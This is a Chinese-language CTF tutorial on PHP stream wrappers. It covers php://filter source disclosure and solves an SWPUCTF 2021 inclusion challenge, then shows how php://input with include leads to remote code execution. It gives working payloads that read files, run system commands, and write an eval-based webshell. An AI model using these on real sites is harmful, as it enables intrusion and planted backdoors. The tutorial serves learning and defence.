php://filter读取源码
php://filter协议
php://filter
协议的语法如下:
php://filter/<filter_name>/resource=<stream>
其中,<filter_name>
是要应用的过滤器的名称,可以使用多个过滤器,以管道 |
分隔。<stream>
是要过滤的数据流。
过滤器名称遵循以下格式:
<filter_type>.<filter_component>.<filter_operations>
<filter_type>
:过滤器类型,如convert
、string
等。<filter_component>
:过滤器组件,如base64-encode
、toupper
等。<filter_operations>
:可以省略,用于进一步操作过滤器的参数,如convert.iconv.utf-8/cp1252
。
过滤器的名称和参数取决于你想要实现的具体功能。可以使用不同的过滤器和参数组合来完成不同的数据转换和处理任务。
常用:
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
例题:
来源[SWPUCTF 2021 新生赛]include
index.php:
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__); //关键show_source()该函数可以查看原代码
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
尝试传入: php://filter/convert.base64_encode/resource=flag.php
得到flag.php加密后的源码:PD9waHANCiRmbGFnPSdOU1NDVEZ7MTZjMTFmZGMtNmMyMi00MzE5LWIxMWYtYzk0ZmQ2NGJiYjlkfSc7
根据base64解码的到如下flag.php源码
flag.php
<?php
$flag='NSSCTF{16c11fdc-6c22-4319-b11f-c94fd64bbb9d}';
?>
php://input
php://input
是 PHP 中的一个流协议(Stream Protocol),用于获取 HTTP 请求的原始主体数据,主要用于 POST、PUT、DELETE 等 HTTP 请求方法。
使用 php://input
协议,可以通过类似文件操作的方式读取请求的原始主体数据。它提供了一个只读的数据流,可以将其用于处理非标准的请求格式或二进制数据。
要使用 php://input
,可以使用以下代码将请求数据读取到一个变量中:
$input = file_get_contents("php://input");
返回的 $input
变量将包含请求的原始主体数据。
文件包含include+php://input实现远程命令执行
例如:
<?php
$a=$_GET('shell');
include($a);
?>
上述代码意思就是:
接收get方法传递的a参数,并交给include进行文件包含:
1.当传递的内容是一个路径时将会执行该路径上的文件可以用于启动webshell
2.另外如果传递的内容时一个php脚本则将会执行该脚本
例如:
?a=<?php system("ls") ?>
将会列出当前目录下所有文件
?a=<?php fputs(fopen("shell.php","w"),'<?php eval($_GET["shell"]) ?>'); ?>
将会在当前目录创建一个webshell
使用 $_GET 直接执行用户传递的参数作为文件包含的路径是危险的,容易受到远程代码执行攻击(Remote Code Execution)。 攻击者可以通过传递恶意的文件路径参数,导致非预期的文件包含,甚至可以执行恶意代码。